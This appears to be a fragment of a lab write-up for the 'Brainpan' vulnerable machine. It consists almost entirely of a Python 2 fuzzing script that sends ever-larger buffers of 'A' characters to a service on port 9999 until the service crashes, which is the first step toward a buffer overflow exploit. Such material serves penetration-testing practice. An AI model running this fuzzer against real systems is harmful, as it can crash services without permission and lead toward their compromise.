Brainpan

#!/usr/bin/python

import socket
import sys
from time import sleep

buff = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.0.101',9999))
        s.recv(1024)
        s.send(buff)
        s.recv(1024)
        s.close()
        sleep(0.1)
        buff = buff + "A" * 100

    except: 
        print 'Fuzzing crashed at %s bytes' % str(len(buff))
        sys.exit()

Last updated

Was this helpful?